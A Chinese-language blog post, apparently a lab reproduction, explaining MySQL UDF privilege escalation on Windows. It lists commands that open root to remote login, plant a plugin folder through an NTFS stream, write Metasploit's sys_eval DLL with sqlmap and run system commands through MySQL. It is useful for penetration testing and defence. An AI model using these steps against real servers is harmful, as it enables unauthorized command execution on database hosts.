mysql之udf提权

之前遇到php的环境,都是直接上传大马尝试udf提权,对udf的原理并不了解,今天花时间复现了一下。另外我觉得叫udf提权并不准确,最终的结果是使用mysql执行了系统命令,能不能提权成功取决于运行mysql服务的是不是高权限用户,当然也有可能是我的理解有误...

漏洞利用条件

  1. 已知mysql root用户的账号密码
  2. 没有secure_file_priv的限制

环境搭建

1.设置mysql允许root外联

use mysql;
grant all privileges on *.* to root@'%' identified by 'root';
flush privileges;

2.设置secure_file_priv

secure_file_priv=
MySQL [(none)]> SHOW VARIABLES LIKE "secure_file_priv";
mysql之udf提权_第1张图片
my.ini

漏洞利用

1.查询mysql绝对路径

select @@basedir;
show variables like "%plugin%";

2.利用ntfs数据流创建plugin文件夹

测试发现低版本的mysql可以成功创建文件夹,高版本的没有成功

mysql> select 'xxx' into dumpfile 'C:/phpstudy/MySQL/lib/plugin::$INDEX_ALLOCATION';

3.上传udf.dll文件

mysql版本小于5.1时,导出到c:\windows\system32目录,大于5.1时导出到../lib/plugin目录。
sqlmap和metasploit中都有udf文件,这里使用的msf,文件位置在/usr/share/metasploit-framework/data/exploits/mysql/

sqlmap -d "mysql://root:[email protected]:3306/mysql" --file-write="/root/lib_mysqludf_sys_32.dll" --file-dest="C:/phpStudy/mysql/lib/plugin/udf.dll"

4.从udf文件中引入自定义函数

MySQL [(none)]> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

5.使用自定义函数执行系统命令

MySQL [(none)]> select sys_eval('whoami');
mysql之udf提权_第2张图片
image.png

你可能感兴趣的:(mysql之udf提权)